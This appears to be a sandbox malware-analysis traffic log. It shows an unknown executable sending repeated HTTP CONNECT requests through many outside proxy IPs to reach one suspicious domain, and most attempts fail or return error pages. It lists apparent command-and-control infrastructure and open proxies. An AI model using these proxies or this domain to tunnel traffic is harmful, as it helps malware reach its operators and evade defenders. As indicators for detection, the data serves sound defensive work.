Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1344	192.168.2.4	53789	124.163.236.54	7302	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.783725023 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:27.247381926 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1345	192.168.2.4	53948	185.238.228.202	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.783735037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.871051073 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1346	192.168.2.4	53479	67.225.255.197	63280	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.816642046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1347	192.168.2.4	53942	45.61.188.134	44499	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.816829920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1348	192.168.2.4	53919	24.144.95.168	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.817600012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1349	192.168.2.4	53893	142.54.232.6	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.819534063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1350	192.168.2.4	53929	51.89.173.40	11058	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.824486971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.365751982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.975302935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.178371906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.366019011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.475302935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.577703953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.683618069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1351	192.168.2.4	53887	5.252.23.206	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.824563980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.342762947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.943981886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1352	192.168.2.4	53921	162.240.22.169	46395	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.835206985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.342767000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.943983078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.147128105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.334642887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.647152901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.944112062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.293221951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1353	192.168.2.4	53472	132.148.130.90	27664	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.835558891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1354	192.168.2.4	52961	104.238.111.107	7757	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.835602999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.365751982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.866018057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.866255045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.680675983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1355	192.168.2.4	53925	173.249.29.243	9123	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.836086035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.015252113 CET	1286	IN	HTTP/1.1 503 Service Unavailable Server: squid/3.5.27 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3761 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2017 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {marg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1356	192.168.2.4	53927	213.136.79.177	5189	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.838155031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.365786076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.975332975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.178389072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1357	192.168.2.4	53815	58.20.248.139	9002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.838773012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.185271978 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1358	192.168.2.4	53431	161.97.160.158	27010	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.852039099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.865818977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.866377115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.865951061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1359	192.168.2.4	53945	178.159.39.153	8118	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.856739044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.276948929 CET	132	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1360	192.168.2.4	53818	115.239.234.43	7302	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.877331972 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:27.225328922 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1361	192.168.2.4	53842	47.243.205.1	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.878058910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.187470913 CET	339	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.20.1 Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/html Content-Length: 177 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1362	192.168.2.4	53831	219.73.88.167	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.879049063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.188195944 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1363	192.168.2.4	53844	27.111.83.204	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.891880035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1364	192.168.2.4	53949	45.138.87.238	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.893990040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1365	192.168.2.4	53821	210.211.113.36	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.895714998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1366	192.168.2.4	53873	58.75.126.235	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.905613899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1367	192.168.2.4	53504	167.99.123.158	34913	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.929435015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.943926096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.037934065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1368	192.168.2.4	53975	154.12.253.232	16504	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.950036049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.365777016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.865901947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.680526972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.178359985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1369	192.168.2.4	54017	104.16.108.234	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.981488943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
